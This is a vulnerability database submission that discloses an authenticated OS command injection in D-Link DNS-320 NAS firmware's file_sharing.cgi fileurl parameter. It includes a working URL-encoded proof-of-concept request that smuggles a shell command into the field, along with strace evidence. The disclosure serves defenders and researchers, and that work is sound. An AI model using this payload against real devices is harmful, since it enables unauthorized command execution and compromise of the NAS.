| Title | D-Link D-Link DNS-320 ShareCenter NAS DNS-320 REVA Firmware 2.06B01 HOTFIX OS Command Injection |
|---|
| Description | ## Basic Information
| Field | Value |
| ------------------ | ------------------------------------------------------------ |
| Internal ID | DLINK-CMD-010 |
| Vendor | D-Link |
| Product | D-Link DNS-320 ShareCenter NAS |
| Firmware Version | DNS-320 REVA Firmware 2.06B01 HOTFIX |
| Component | `/cgi/file_sharing.cgi cmd=3 run_wget path` |
| Vulnerability Type | OS Command Injection |
| CWE | CWE-78 |
| CVSS v3.1 | 8.8 (High) |
| CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| Authentication | Authenticated / administrative web session or equivalent CGI access |
| Status | Confirmed with dynamic PoC evidence |
## Summary
The file sharing CGI builds a shell command around run_wget using attacker-controlled fileurl content. A crafted quote and shell metacharacter sequence in fileurl broke out of the intended URL argument and created a sentinel file during dynamic execution.
## Proof of Concept
```text
`cmd=3&fileurl=X%22%3B%3A%3E%2Ftmp%2Ffirmrec_filesharing_fileurl_pwn%3B%23&uuid=fileurl2&folderpath=%2Fmnt%2FHD%2FHD_a2%2Ffirmrec_dl`
```
## Dynamic Verification Evidence
The dynamic run created `/tmp/firmrec_filesharing_fileurl_pwn` and strace recorded `execve("/bin/sh", {"sh", "-c", "run_wget "http://127.0.0.1:X";:>/tmp/firmrec_filesharing_fileurl_pwn;# ..."})`.
Evidence package included in this final bundle:
```text
VULNDB_FINAL_SUBMIT_READY_20260707/evidence_packages/DLINK_CMD_010_FILE_SHARING_EVIDENCE_20260708/
```
## Impact
Successful exploitation allows an authenticated attacker to execute arbitrary shell commands with the privileges of the NAS web/CGI runtime, which is sufficient for device compromise, persistence, data access, and lateral movement from the NAS environment. |
|---|
| Source | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-010-vulndb.md |
|---|
| User | ST4R0001 (UID 99565) |
|---|
| Submission | 07/17/2026 18:38 (2 months ago) |
|---|
| Moderation | 09/03/2026 16:31 (2 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 398423 [D-Link DNS-320 ShareCenter 2.06B01 File Sharing /cgi/file_sharing.cgi fileurl os command injection] |
|---|
| Points | 20 |
|---|